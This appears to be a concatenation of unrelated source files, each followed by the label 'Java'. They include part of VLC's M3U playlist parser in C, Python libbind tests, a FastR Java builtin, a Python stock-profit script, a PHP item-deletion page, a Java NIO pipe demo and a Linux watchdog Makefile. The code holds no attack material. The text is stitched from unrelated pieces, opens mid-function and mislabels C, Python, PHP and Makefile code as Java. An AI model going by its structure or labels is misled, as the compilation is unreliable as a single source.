CheckContentType( p_demux->s, "application/vnd.apple.mpegurl" ) ) pf_dup = CheckUnicode; /* UTF-8 file type */ else if( demux_IsPathExtension( p_demux, ".m3u" ) || demux_IsPathExtension( p_demux, ".vlc" ) || demux_IsForced( p_demux, "m3u" ) || ContainsURL( p_demux ) || CheckContentType( p_demux->s, "audio/x-mpegurl") ) ; /* Guess encoding */ else { if( stream_Peek( p_demux->s, &p_peek, 8 + offset ) < (8 + offset) ) return VLC_EGENERIC; p_peek += offset; if( !strncasecmp( (const char *)p_peek, "RTSPtext", 8 ) ) /* QuickTime */ pf_dup = CheckUnicode; /* UTF-8 */ else if( !memcmp( p_peek, "#EXTM3U", 7 ) ) ; /* Guess encoding */ else return VLC_EGENERIC; } stream_Seek( p_demux->s, offset ); STANDARD_DEMUX_INIT_MSG( "found valid M3U playlist" ); p_demux->p_sys->psz_prefix = FindPrefix( p_demux ); p_demux->p_sys->pf_dup = pf_dup; return VLC_SUCCESS; } static bool ContainsURL( demux_t *p_demux ) { const uint8_t *p_peek, *p_peek_end; int i_peek; i_peek = stream_Peek( p_demux->s, &p_peek, 1024 ); if( i_peek <= 0 ) return false; p_peek_end = p_peek + i_peek; while( p_peek + sizeof( "https://" ) < p_peek_end ) { /* One line starting with a URL is enough */ if( !strncasecmp( (const char *)p_peek, "http://", 7 ) || !strncasecmp( (const char *)p_peek, "mms://", 6 ) || !strncasecmp( (const char *)p_peek, "rtsp://", 7 ) || !strncasecmp( (const char *)p_peek, "https://", 8 ) || !strncasecmp( (const char *)p_peek, "ftp://", 6 ) || !strncasecmp( (const char *)p_peek, "ftps://", 7 ) || !strncasecmp( (const char *)p_peek, "ftpes://", 8 ) ) { return true; } /* Comments and blank lines are ignored */ else if( *p_peek != '#' && *p_peek != '\n' && *p_peek != '\r') { return false; } while( p_peek < p_peek_end && *p_peek != '\n' ) p_peek++; if ( *p_peek == '\n' ) p_peek++; } return false; } /***************************************************************************** * Deactivate: frees unused data *****************************************************************************/ void Close_M3U( vlc_object_t *p_this ) { demux_t *p_demux = (demux_t *)p_this; free( p_demux->p_sys->psz_prefix ); free( p_demux->p_sys ); } static int Demux( demux_t *p_demux ) { char *psz_line; char *psz_name = NULL; char *psz_artist = NULL; char *psz_album_art = NULL; int i_parsed_duration = 0; mtime_t i_duration = -1; const char**ppsz_options = NULL; char * (*pf_dup) (const char *) = p_demux->p_sys->pf_dup; int i_options = 0; bool b_cleanup = false; input_item_t *p_input; input_item_t *p_current_input = GetCurrentItem(p_demux); input_item_node_t *p_subitems = input_item_node_Create( p_current_input ); psz_line = stream_ReadLine( p_demux->s ); while( psz_line ) { char *psz_parse = psz_line; /* Skip leading tabs and spaces */ while( *psz_parse == ' ' || *psz_parse == '\t' || *psz_parse == '\n' || *psz_parse == '\r' ) psz_parse++; if( *psz_parse == '#' ) { /* Parse extra info */ /* Skip leading tabs and spaces */ while( *psz_parse == ' ' || *psz_parse == '\t' || *psz_parse == '\n' || *psz_parse == '\r' || *psz_parse == '#' ) psz_parse++; if( !*psz_parse ) goto error; if( !strncasecmp( psz_parse, "EXTINF:", sizeof("EXTINF:") -1 ) ) { /* Extended info */ psz_parse += sizeof("EXTINF:") - 1; FREENULL( psz_name ); FREENULL( psz_artist ); parseEXTINF( psz_parse, &psz_artist, &psz_name, &i_parsed_duration ); if( i_parsed_duration >= 0 ) i_duration = i_parsed_duration * INT64_C(1000000); if( psz_name ) psz_name = pf_dup( psz_name ); if( psz_artist ) psz_artist = pf_dup( psz_artist ); } else if( !strncasecmp( psz_parse, "EXTVLCOPT:", sizeof("EXTVLCOPT:") -1 ) ) { /* VLC Option */ char *psz_option; psz_parse += sizeof("EXTVLCOPT:") -1; if( !*psz_parse ) goto error; psz_option = pf_dup( psz_parse ); if( psz_option ) INSERT_ELEM( (const char **), ppsz_options, i_options, i_options, // sunqueen modify psz_option ); } /* Special case for jamendo which provide the albumart */ else if( !strncasecmp( psz_parse, "EXTALBUMARTURL:", sizeof( "EXTALBUMARTURL:" ) -1 ) ) { psz_parse += sizeof( "EXTALBUMARTURL:" ) - 1; free( psz_album_art ); psz_album_art = pf_dup( psz_parse ); } } else if( !strncasecmp( psz_parse, "RTSPtext", sizeof("RTSPtext") -1 ) ) { ;/* special case to handle QuickTime RTSPtext redirect files */ } else if( *psz_parse ) { char *psz_mrl; psz_parse = pf_dup( psz_parse ); if( !psz_name && psz_parse ) /* Use filename as name for relative entries */ psz_name = strdup( psz_parse ); psz_mrl = ProcessMRL( psz_parse, p_demux->p_sys->psz_prefix ); b_cleanup = true; if( !psz_mrl ) { free( psz_parse ); goto error; } p_input = input_item_NewExt( psz_mrl, psz_name, i_options, ppsz_options, 0, i_duration ); free( psz_parse ); free( psz_mrl ); if ( !EMPTY_STR(psz_artist) ) input_item_SetArtist( p_input, psz_artist ); if( psz_name ) input_item_SetTitle( p_input, psz_name ); if( !EMPTY_STR(psz_album_art) ) input_item_SetArtURL( p_input, psz_album_art ); input_item_node_AppendItem( p_subitems, p_input ); vlc_gc_decref( p_input ); } error: /* Fetch another line */ free( psz_line ); psz_line = stream_ReadLine( p_demux->s ); if( !psz_line ) b_cleanup = true; if( b_cleanup ) { /* Cleanup state */ while( i_options-- ) free( (char*)ppsz_options[i_options] ); FREENULL( ppsz_options ); i_options = 0; FREENULL( psz_name ); FREENULL( psz_artist ); FREENULL( psz_album_art ); i_parsed_duration = 0; i_duration = -1; b_cleanup = false; } } input_item_node_PostAndDelete( p_subitems ); vlc_gc_decref(p_current_input); var_Destroy( p_demux, "m3u-extvlcopt" ); return 0; /* Needed for correct operation of go back */ } static void parseEXTINF(char *psz_string, char **ppsz_artist, char **ppsz_name, int *pi_duration) { char *end = NULL; char *psz_item = NULL; end = psz_string + strlen( psz_string ); /* ignore whitespaces */ for (; psz_string < end && ( *psz_string == '\t' || *psz_string == ' ' ); psz_string++ ); /* duration: read to next comma */ psz_item = psz_string; psz_string = strchr( psz_string, ',' ); if ( psz_string ) { *psz_string = '\0'; *pi_duration = atoi( psz_item ); } else { return; } if ( psz_string < end ) /* continue parsing if possible */ psz_string++; /* analyse the remaining string */ psz_item = strstr( psz_string, " - " ); /* here we have the 0.8.2+ format with artist */ if ( psz_item ) { /* *** "EXTINF:time,artist - name" */ *psz_item = '\0'; *ppsz_artist = psz_string; *ppsz_name = psz_item + 3; /* points directly after ' - ' */ return; } /* reaching this point means: 0.8.1- with artist or something without artist */ if ( *psz_string == ',' ) { /* *** "EXTINF:time,,name" */ psz_string++; *ppsz_name = psz_string; return; } psz_item = psz_string; psz_string = strchr( psz_string, ',' ); if ( psz_string ) { /* *** "EXTINF:time,artist,name" */ *psz_string = '\0'; *ppsz_artist = psz_item; *ppsz_name = psz_string+1; } else { /* *** "EXTINF:time,name" */ *ppsz_name = psz_item; } return; }
Java
#!/usr/bin/env python # # testlibbind_ns_msg.py - Unit tests for the libbind ns_msg wrapper # # This file is part of Strangle. # # Strangle is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Strangle is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Strangle; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import sys, testutils, random import unittest from Strangle import libbind class ns_msgTestCase(unittest.TestCase): """Tests for the wrapper around the libbind ns_msg struct""" def test000Exists(self): """Check that the ns_msg type object exists cleanly in the module""" assert(libbind.ns_msg.__class__ is type) def testInstantiate(self): """Check that the ns_msg type accepts the correct arguments""" # Too few self.assertRaises(TypeError, libbind.ns_msg) # Too many self.assertRaises(TypeError, libbind.ns_msg, 'one', 'two') def testNoticeInvalid(self): """Test whether the ns_msg type can handle bad data""" rng = testutils.rng for testNum in range(0, 50): packetLength = random.randrange(20, 80) packetVal = rng.read(packetLength) self.assertRaises(TypeError, libbind.ns_msg, packetVal) def testParseValidQuery(self): """Test whether ns_msg initialization parses valid NS queries""" packetData = file("data/www.company.example-query").read() n = libbind.ns_msg(packetData) assert(type(n) is libbind.ns_msg) def testParseValidResponse(self): """Test whether ns_msg initialization parses valid NS queries""" packetData = file("data/www.company.example-response").read() n = libbind.ns_msg(packetData) assert(type(n) is libbind.ns_msg) def suite(): s = unittest.TestSuite() s.addTest( unittest.makeSuite(ns_msgTestCase, 'test') ) return s if __name__ == "__main__": unittest.main()
Java
<?php // notin to do here
Java
/* * Copyright (c) 2013, 2017, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.oracle.truffle.r.nodes.builtin.base; import static com.oracle.truffle.r.nodes.builtin.CastBuilder.Predef.stringValue; import static com.oracle.truffle.r.runtime.RError.Message.MUST_BE_NONNULL_STRING; import static com.oracle.truffle.r.runtime.builtins.RBehavior.PURE; import static com.oracle.truffle.r.runtime.builtins.RBuiltinKind.PRIMITIVE; import com.oracle.truffle.api.CompilerDirectives; import com.oracle.truffle.api.CompilerDirectives.TruffleBoundary; import com.oracle.truffle.api.dsl.Cached; import com.oracle.truffle.api.dsl.Fallback; import com.oracle.truffle.api.dsl.Specialization; import com.oracle.truffle.api.nodes.Node; import com.oracle.truffle.r.nodes.attributes.RemoveAttributeNode; import com.oracle.truffle.r.nodes.attributes.SetAttributeNode; import com.oracle.truffle.r.nodes.attributes.SpecialAttributesFunctions.SetClassAttributeNode; import com.oracle.truffle.r.nodes.attributes.SpecialAttributesFunctions.SetDimAttributeNode; import com.oracle.truffle.r.nodes.attributes.SpecialAttributesFunctions.SetRowNamesAttributeNode; import com.oracle.truffle.r.nodes.builtin.RBuiltinNode; import com.oracle.truffle.r.nodes.builtin.base.UpdateAttrNodeGen.InternStringNodeGen; import com.oracle.truffle.r.nodes.unary.CastIntegerNode; import com.oracle.truffle.r.nodes.unary.CastIntegerNodeGen; import com.oracle.truffle.r.nodes.unary.CastListNode; import com.oracle.truffle.r.nodes.unary.CastToVectorNode; import com.oracle.truffle.r.nodes.unary.CastToVectorNodeGen; import com.oracle.truffle.r.nodes.unary.GetNonSharedNode; import com.oracle.truffle.r.runtime.RError; import com.oracle.truffle.r.runtime.RError.Message; import com.oracle.truffle.r.runtime.RRuntime; import com.oracle.truffle.r.runtime.Utils; import com.oracle.truffle.r.runtime.builtins.RBuiltin; import com.oracle.truffle.r.runtime.data.RAttributable; import com.oracle.truffle.r.runtime.data.RDataFactory; import com.oracle.truffle.r.runtime.data.RNull; import com.oracle.truffle.r.runtime.data.RShareable; import com.oracle.truffle.r.runtime.data.RStringVector; import com.oracle.truffle.r.runtime.data.model.RAbstractContainer; import com.oracle.truffle.r.runtime.data.model.RAbstractIntVector; import com.oracle.truffle.r.runtime.data.model.RAbstractVector; @RBuiltin(name = "attr<-", kind = PRIMITIVE, parameterNames = {"x", "which", "value"}, behavior = PURE) public abstract class UpdateAttr extends RBuiltinNode.Arg3 { @Child private UpdateNames updateNames; @Child private UpdateDimNames updateDimNames; @Child private CastIntegerNode castInteger; @Child private CastToVectorNode castVector; @Child private CastListNode castList; @Child private SetClassAttributeNode setClassAttrNode; @Child private SetRowNamesAttributeNode setRowNamesAttrNode; @Child private SetAttributeNode setGenAttrNode; @Child private SetDimAttributeNode setDimNode; @Child private InternStringNode intern = InternStringNodeGen.create(); public abstract static class InternStringNode extends Node { public abstract String execute(String value); @Specialization(limit = "3", guards = "value == cachedValue") protected static String internCached(@SuppressWarnings("unused") String value, @SuppressWarnings("unused") @Cached("value") String cachedValue, @Cached("intern(value)") String interned) { return interned; } @Specialization(replaces = "internCached") protected static String intern(String value) { return Utils.intern(value); } } static { Casts casts = new Casts(UpdateAttr.class); // Note: cannot check 'attributability' easily because atomic values, e.g int, are not // RAttributable. casts.arg("x"); casts.arg("which").defaultError(MUST_BE_NONNULL_STRING, "name").mustBe(stringValue()).asStringVector().findFirst(); } private RAbstractContainer updateNames(RAbstractContainer container, Object o) { if (updateNames == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); updateNames = insert(UpdateNamesNodeGen.create()); } return (RAbstractContainer) updateNames.executeStringVector(container, o); } private RAbstractContainer updateDimNames(RAbstractContainer container, Object o) { if (updateDimNames == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); updateDimNames = insert(UpdateDimNamesNodeGen.create()); } return updateDimNames.executeRAbstractContainer(container, o); } private RAbstractIntVector castInteger(RAbstractVector vector) { if (castInteger == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); castInteger = insert(CastIntegerNodeGen.create(true, false, false)); } return (RAbstractIntVector) castInteger.doCast(vector); } private RAbstractVector castVector(Object value) { if (castVector == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); castVector = insert(CastToVectorNodeGen.create(false)); } return (RAbstractVector) castVector.doCast(value); } @Specialization protected RNull updateAttr(@SuppressWarnings("unused") RNull nullTarget, @SuppressWarnings("unused") String attrName, @SuppressWarnings("unused") RNull nullAttrVal) { return RNull.instance; } @Specialization protected RAbstractContainer updateAttr(RAbstractContainer container, String name, RNull value, @Cached("create()") RemoveAttributeNode removeAttrNode, @Cached("create()") GetNonSharedNode nonShared) { String internedName = intern.execute(name); RAbstractContainer result = ((RAbstractContainer) nonShared.execute(container)).materialize(); // the name is interned, so identity comparison is sufficient if (internedName == RRuntime.DIM_ATTR_KEY) { if (setDimNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setDimNode = insert(SetDimAttributeNode.create()); } setDimNode.setDimensions(result, null); } else if (internedName == RRuntime.NAMES_ATTR_KEY) { return updateNames(result, value); } else if (internedName == RRuntime.DIMNAMES_ATTR_KEY) { return updateDimNames(result, value); } else if (internedName == RRuntime.CLASS_ATTR_KEY) { if (setClassAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setClassAttrNode = insert(SetClassAttributeNode.create()); } setClassAttrNode.reset(result); return result; } else if (internedName == RRuntime.ROWNAMES_ATTR_KEY) { if (setRowNamesAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setRowNamesAttrNode = insert(SetRowNamesAttributeNode.create()); } setRowNamesAttrNode.setRowNames(result, null); } else if (result.getAttributes() != null) { removeAttrNode.execute(result, internedName); } return result; } @TruffleBoundary protected static RStringVector convertClassAttrFromObject(Object value) { if (value instanceof RStringVector) { return (RStringVector) value; } else if (value instanceof String) { return RDataFactory.createStringVector((String) value); } else { throw RError.error(RError.SHOW_CALLER, RError.Message.SET_INVALID_CLASS_ATTR); } } @Specialization(guards = "!isRNull(value)") protected RAbstractContainer updateAttr(RAbstractContainer container, String name, Object value, @Cached("create()") GetNonSharedNode nonShared) { String internedName = intern.execute(name); RAbstractContainer result = ((RAbstractContainer) nonShared.execute(container)).materialize(); // the name is interned, so identity comparison is sufficient if (internedName == RRuntime.DIM_ATTR_KEY) { RAbstractIntVector dimsVector = castInteger(castVector(value)); if (dimsVector.getLength() == 0) { throw error(RError.Message.LENGTH_ZERO_DIM_INVALID); } if (setDimNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setDimNode = insert(SetDimAttributeNode.create()); } setDimNode.setDimensions(result, dimsVector.materialize().getDataCopy()); } else if (internedName == RRuntime.NAMES_ATTR_KEY) { return updateNames(result, value); } else if (internedName == RRuntime.DIMNAMES_ATTR_KEY) { return updateDimNames(result, value); } else if (internedName == RRuntime.CLASS_ATTR_KEY) { if (setClassAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setClassAttrNode = insert(SetClassAttributeNode.create()); } setClassAttrNode.execute(result, convertClassAttrFromObject(value)); return result; } else if (internedName == RRuntime.ROWNAMES_ATTR_KEY) { if (setRowNamesAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setRowNamesAttrNode = insert(SetRowNamesAttributeNode.create()); } setRowNamesAttrNode.setRowNames(result, castVector(value)); } else { // generic attribute if (setGenAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setGenAttrNode = insert(SetAttributeNode.create()); } setGenAttrNode.execute(result, internedName, value); } return result; } /** * All other, non-performance centric, {@link RAttributable} types. */ @Fallback @TruffleBoundary protected Object updateAttr(Object obj, Object name, Object value) { assert name instanceof String : "casts should not pass anything but String"; Object object = obj; if (object instanceof RShareable) { object = ((RShareable) object).getNonShared(); } String internedName = intern.execute((String) name); if (object instanceof RAttributable) { RAttributable attributable = (RAttributable) object; if (value == RNull.instance) { attributable.removeAttr(internedName); } else { attributable.setAttr(internedName, value); } return object; } else if (RRuntime.isForeignObject(obj)) { throw RError.error(this, Message.OBJ_CANNOT_BE_ATTRIBUTED); } else if (obj == RNull.instance) { throw RError.error(this, Message.SET_ATTRIBUTES_ON_NULL); } else { throw RError.nyi(this, "object cannot be attributed: "); } } }
Java
#! /usr/bin/env python3 ''' given a list of stock price ticks for the day, can you tell me what trades I should make to maximize my gain within the constraints of the market? Remember - buy low, sell high, and you can't sell before you buy. Sample Input 19.35 19.30 18.88 18.93 18.95 19.03 19.00 18.97 18.97 18.98 ''' import argparse def parse_args(): parser = argparse.ArgumentParser(description='easy 249') parser.add_argument('stock_prices', action='store', nargs='+', help='prices of a given stock') return parser.parse_args() def stock(stock_prices): buy_day = 0 max_profit = 0 max_buy = 0 max_sell = 0 for buy_day in range(len(stock_prices) - 2): # maybe do a max(here) for sell_day in range(buy_day + 2, len(stock_prices)): profit = stock_prices[sell_day] - stock_prices[buy_day] if profit > max_profit: max_profit = profit max_buy = buy_day max_sell = sell_day print("max profit: %.2f from buy on day %d at %.2f sell on day %d at %.2f" % (max_profit, max_buy, stock_prices[max_buy], max_sell, stock_prices[max_sell])) if __name__ == '__main__': args = parse_args() stock([float(price) for price in args.stock_prices])
Java
<?php /******************************************************************************* Copyright 2005,2009 Whole Foods Community Co-op This file is part of Fannie. Fannie is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Fannie is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License in the file license.txt along with IT CORE; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *********************************************************************************/ require(dirname(__FILE__) . '/../config.php'); if (!class_exists('FannieAPI')) { include($FANNIE_ROOT.'classlib2.0/FannieAPI.php'); } if (basename(__FILE__) != basename($_SERVER['PHP_SELF'])) { return; } $dbc = FannieDB::get($FANNIE_OP_DB); include($FANNIE_ROOT.'auth/login.php'); $name = checkLogin(); if (!$name){ header("Location: {$FANNIE_URL}auth/ui/loginform.php?redirect={$FANNIE_URL}item/scaleDelete.php"); exit; } $user = validateUserQuiet('delete_items'); if (!$user){ echo "Not allowed"; exit; } $page_title = 'Fannie - Item Maintenance'; $header = 'Item Maintenance'; include('../src/header.html'); ?> <script type"text/javascript" src=ajax.js></script> <?php echo "<h1 style=\"color:red;\">Delete Scale PLU Tool</h1>"; if (isset($_REQUEST['upc']) && !isset($_REQUEST['deny'])){ $upc = BarcodeLib::padUPC(FormLib::get('upc')); if (isset($_REQUEST['submit'])){ $p = $dbc->prepare_statement("SELECT * FROM scaleItems WHERE plu=?"); $rp = $dbc->exec_statement($p,array($upc)); if ($dbc->num_rows($rp) == 0){ printf("No item found for <b>%s</b><p />",$upc); echo "<a href=\"scaleDelete.php\">Go back</a>"; } else { $rw = $dbc->fetch_row($rp); echo "<form action=scaleDelete.php method=post>"; echo "<b>Delete this item?</b><br />"; echo "<table cellpadding=4 cellspacing=0 border=1>"; echo "<tr><th>UPC</th><th>Description</th><th>Price</th></tr>"; printf("<tr><td><a href=\"itemMain.php?upc=%s\" target=\"_new%s\"> %s</a></td><td>%s</td><td>%.2f</td></tr>",$rw['plu'], $rw['plu'],$rw['plu'],$rw['itemdesc'],$rw['price']); echo "</table><br />"; printf("<input type=hidden name=upc value=\"%s\" />",$upc); echo "<input type=submit name=confirm value=\"Yes, delete this item\" />"; echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; echo "<input type=submit name=deny value=\"No, keep this item\" />"; } } else if (isset($_REQUEST['confirm'])){ $plu = substr($upc,3,4); $p = $dbc->prepare_statement("DELETE FROM scaleItems WHERE plu=?"); $rp = $dbc->exec_statement($p,array($upc)); include('hobartcsv/parse.php'); deleteitem($plu); include('laneUpdates.php'); printf("Item %s has been deleted<br /><br />",$upc); echo "<a href=\"scaleDelete.php\">Delete another item</a>"; } }else{ echo "<form action=scaleDelete.php method=post>"; echo "<input name=upc type=text id=upc> Enter UPC/PLU here<br><br>"; echo "<input name=submit type=submit value=submit>"; echo "</form>"; echo "<script type=\"text/javascript\"> \$(document).ready(function(){ \$('#upc').focus(); }); </script>"; } include ('../src/footer.html'); ?>
Java
package com.yao.app.java.nio.pipe; import java.io.IOException; import java.nio.ByteBuffer; import java.nio.channels.Pipe; public class Test { public static void main(String[] args) { try { Pipe pipe = Pipe.open(); Thread t1 = new Thread(new MessageOutput(pipe)); Thread t2 = new Thread(new MessageInput(pipe)); t2.start(); Thread.sleep(1000); t1.start(); } catch (Exception e) { e.printStackTrace(); } } public static class MessageOutput implements Runnable { private Pipe pipe; public MessageOutput(Pipe pipe) { this.pipe = pipe; } @Override public void run() { try { String message = "hello world,libailugo"; ByteBuffer buf = ByteBuffer.wrap(message.getBytes()); Pipe.SinkChannel channel = pipe.sink(); int count = channel.write(buf); channel.close(); System.out.println("send message:" + message + ",length:" + count); } catch (IOException e) { e.printStackTrace(); } } } public static class MessageInput implements Runnable { private Pipe pipe; public MessageInput(Pipe pipe) { this.pipe = pipe; } @Override public void run() { try { Pipe.SourceChannel channel = pipe.source(); ByteBuffer buf = ByteBuffer.allocate(10); StringBuilder sb = new StringBuilder(); int count = channel.read(buf); while (count > 0) { // 此处会导致错误 // sb.append(new String(buf.array())); sb.append(new String(buf.array(), 0, count)); buf.clear(); count = channel.read(buf); } channel.close(); System.out.println("recieve message:" + sb.toString()); } catch (IOException e) { e.printStackTrace(); } } } }
Java
################################################################ # LiveQ - An interactive volunteering computing batch system # Copyright (C) 2013 Ioannis Charalampidis # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. ################################################################ import sys import time import logging import jobmanager.io.agents as agents import jobmanager.io.jobs as jobs from jobmanager.config import Config from peewee import fn from liveq.models import Agent, AgentGroup, Jobs # Setup logger logger = logging.getLogger("teamqueue") def processTeamQueue(): """ This should be called periodically to check and schedule jobs pending for the particular team """ pass
Java
# # Makefile for the WatchDog device drivers. # # Only one watchdog can succeed. We probe the ISA/PCI/USB based # watchdog-cards first, then the architecture specific watchdog # drivers and then the architecture independent "softdog" driver. # This means that if your ISA/PCI/USB card isn't detected that # you can fall back to an architecture specific driver and if # that also fails then you can fall back to the software watchdog # to give you some cover. # ISA-based Watchdog Cards obj-$(CONFIG_PCWATCHDOG) += pcwd.o obj-$(CONFIG_MIXCOMWD) += mixcomwd.o obj-$(CONFIG_WDT) += wdt.o # PCI-based Watchdog Cards obj-$(CONFIG_PCIPCWATCHDOG) += pcwd_pci.o obj-$(CONFIG_WDTPCI) += wdt_pci.o # USB-based Watchdog Cards obj-$(CONFIG_USBPCWATCHDOG) += pcwd_usb.o # ALPHA Architecture # ARM Architecture obj-$(CONFIG_ARM_SP805_WATCHDOG) += sp805_wdt.o obj-$(CONFIG_AT91RM9200_WATCHDOG) += at91rm9200_wdt.o obj-$(CONFIG_AT91SAM9X_WATCHDOG) += at91sam9_wdt.o obj-$(CONFIG_OMAP_WATCHDOG) += omap_wdt.o obj-$(CONFIG_TWL4030_WATCHDOG) += twl4030_wdt.o obj-$(CONFIG_21285_WATCHDOG) += wdt285.o obj-$(CONFIG_977_WATCHDOG) += wdt977.o obj-$(CONFIG_IXP2000_WATCHDOG) += ixp2000_wdt.o obj-$(CONFIG_IXP4XX_WATCHDOG) += ixp4xx_wdt.o obj-$(CONFIG_KS8695_WATCHDOG) += ks8695_wdt.o obj-$(CONFIG_S3C2410_WATCHDOG) += s3c2410_wdt.o obj-$(CONFIG_SA1100_WATCHDOG) += sa1100_wdt.o obj-$(CONFIG_MPCORE_WATCHDOG) += mpcore_wdt.o obj-$(CONFIG_EP93XX_WATCHDOG) += ep93xx_wdt.o obj-$(CONFIG_PNX4008_WATCHDOG) += pnx4008_wdt.o obj-$(CONFIG_IOP_WATCHDOG) += iop_wdt.o obj-$(CONFIG_DAVINCI_WATCHDOG) += davinci_wdt.o obj-$(CONFIG_ORION_WATCHDOG) += orion_wdt.o obj-$(CONFIG_COH901327_WATCHDOG) += coh901327_wdt.o obj-$(CONFIG_STMP3XXX_WATCHDOG) += stmp3xxx_wdt.o obj-$(CONFIG_NUC900_WATCHDOG) += nuc900_wdt.o obj-$(CONFIG_ADX_WATCHDOG) += adx_wdt.o obj-$(CONFIG_IMAPX200_WATCHDOG) += imapx200_wdt.o obj-$(CONFIG_IMAPX800_WATCHDOG) += imapx800_wdt.o # AVR32 Architecture obj-$(CONFIG_AT32AP700X_WDT) += at32ap700x_wdt.o # BLACKFIN Architecture obj-$(CONFIG_BFIN_WDT) += bfin_wdt.o # CRIS Architecture # FRV Architecture # H8300 Architecture # X86 (i386 + ia64 + x86_64) Architecture obj-$(CONFIG_ACQUIRE_WDT) += acquirewdt.o obj-$(CONFIG_ADVANTECH_WDT) += advantechwdt.o obj-$(CONFIG_ALIM1535_WDT) += alim1535_wdt.o obj-$(CONFIG_ALIM7101_WDT) += alim7101_wdt.o obj-$(CONFIG_F71808E_WDT) += f71808e_wdt.o obj-$(CONFIG_SP5100_TCO) += sp5100_tco.o obj-$(CONFIG_GEODE_WDT) += geodewdt.o obj-$(CONFIG_SC520_WDT) += sc520_wdt.o obj-$(CONFIG_SBC_FITPC2_WATCHDOG) += sbc_fitpc2_wdt.o obj-$(CONFIG_EUROTECH_WDT) += eurotechwdt.o obj-$(CONFIG_IB700_WDT) += ib700wdt.o obj-$(CONFIG_IBMASR) += ibmasr.o obj-$(CONFIG_WAFER_WDT) += wafer5823wdt.o obj-$(CONFIG_I6300ESB_WDT) += i6300esb.o obj-$(CONFIG_ITCO_WDT) += iTCO_wdt.o ifeq ($(CONFIG_ITCO_VENDOR_SUPPORT),y) obj-$(CONFIG_ITCO_WDT) += iTCO_vendor_support.o endif obj-$(CONFIG_IT8712F_WDT) += it8712f_wdt.o obj-$(CONFIG_IT87_WDT) += it87_wdt.o obj-$(CONFIG_HP_WATCHDOG) += hpwdt.o obj-$(CONFIG_SC1200_WDT) += sc1200wdt.o obj-$(CONFIG_SCx200_WDT) += scx200_wdt.o obj-$(CONFIG_PC87413_WDT) += pc87413_wdt.o obj-$(CONFIG_NV_TCO) += nv_tco.o obj-$(CONFIG_RDC321X_WDT) += rdc321x_wdt.o obj-$(CONFIG_60XX_WDT) += sbc60xxwdt.o obj-$(CONFIG_SBC8360_WDT) += sbc8360.o obj-$(CONFIG_SBC7240_WDT) += sbc7240_wdt.o obj-$(CONFIG_CPU5_WDT) += cpu5wdt.o obj-$(CONFIG_SMSC_SCH311X_WDT) += sch311x_wdt.o obj-$(CONFIG_SMSC37B787_WDT) += smsc37b787_wdt.o obj-$(CONFIG_W83627HF_WDT) += w83627hf_wdt.o obj-$(CONFIG_W83697HF_WDT) += w83697hf_wdt.o obj-$(CONFIG_W83697UG_WDT) += w83697ug_wdt.o obj-$(CONFIG_W83877F_WDT) += w83877f_wdt.o obj-$(CONFIG_W83977F_WDT) += w83977f_wdt.o obj-$(CONFIG_MACHZ_WDT) += machzwd.o obj-$(CONFIG_SBC_EPX_C3_WATCHDOG) += sbc_epx_c3.o obj-$(CONFIG_INTEL_SCU_WATCHDOG) += intel_scu_watchdog.o # M32R Architecture # M68K Architecture obj-$(CONFIG_M54xx_WATCHDOG) += m54xx_wdt.o # MIPS Architecture obj-$(CONFIG_ATH79_WDT) += ath79_wdt.o obj-$(CONFIG_BCM47XX_WDT) += bcm47xx_wdt.o obj-$(CONFIG_BCM63XX_WDT) += bcm63xx_wdt.o obj-$(CONFIG_RC32434_WDT) += rc32434_wdt.o obj-$(CONFIG_INDYDOG) += indydog.o obj-$(CONFIG_JZ4740_WDT) += jz4740_wdt.o obj-$(CONFIG_WDT_MTX1) += mtx-1_wdt.o obj-$(CONFIG_PNX833X_WDT) += pnx833x_wdt.o obj-$(CONFIG_SIBYTE_WDOG) += sb_wdog.o obj-$(CONFIG_AR7_WDT) += ar7_wdt.o obj-$(CONFIG_TXX9_WDT) += txx9wdt.o 